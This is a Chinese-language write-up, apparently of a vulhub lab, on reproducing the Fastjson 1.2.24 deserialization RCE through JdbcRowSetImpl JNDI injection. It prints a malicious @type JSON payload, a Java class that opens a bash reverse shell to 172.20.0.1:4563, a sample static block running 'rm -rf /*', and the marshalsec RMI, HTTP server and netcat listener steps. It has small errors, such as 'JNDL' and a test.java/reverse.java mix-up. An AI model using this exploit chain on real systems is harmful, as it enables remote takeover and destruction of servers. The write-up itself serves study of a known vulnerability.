Fastjson1.2.24-RCE漏洞

漏洞简介

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

漏洞原理

再用Fastjson解析JSON数据的时候

假如攻击者伪造一段特殊的的恶意的JSON数据

{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://黑客仓库/危险物品",
"autoCommit": true
}

这里面攻击者伪造了@type标签 需要用com.sun.rowset.JdbcRowSetImpl(指定反序列化类)进行处理

这个jdbcRowSetlmpl 我们理解为分拣员 那么 分拣员记录下“需要联系黑客仓库的指令”

autoCommit”: true则会触发setAutoCommit()方法 相当于让jdbcRowSetlmpl立即执行

然后我们就进行恶意仓库的连接(JNDL注入)

分拣员(jdbcRowSetlmpl)就会根据rmi://黑客仓库/危险物品地址拨打电话(发起JNDL请求)而黑客仓库(攻击者搭建二点RMI服务器)就会回应

“请到http://恶意站点/Exploit.class领取包裹”

加载“危险物品”(远程代码执行)

快递公司系统(JVM)从恶意站点下载的Exploit.class并自动拆包执行其中的代码。例如:

// Exploit.class 静态代码块
static {
Runtime.getRuntime().exec("rm -rf /*"); // 删除服务器数据
}

至此,攻击者通过一个伪造的包裹,成功劫持img了整个快递

复现

搭建环境就不演示了

首先在vulhubfastjson下面 创建一个test.java 内容如下

import java.lang.Runtime;
import java.lang.Process;
public class reverse{
static {
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/172.20.0.1/4563 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}

}
}

目的就是把test.txt上传到目标主机

然后进行编译 Javac reverse.java

然后我们在环境目录下起一个http服务 这一步部署rmi指定的文件下载服务器

端口为5623

然后部署rmi服务器

https://github.com/RandomRobbieBF/marshalsec-jar

端口为8520

接着去web页面抓包

发包前先nc -lvp 4563

发包发现成功反弹shell

写的比较好的文章https://homerqing.github.io/2020/04/10/fastjson/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E9%98%B2%E5%BE%A1%E5%92%8C%E7%BB%95%E8%BF%87/

https://www.freebuf.com/articles/web/283585.html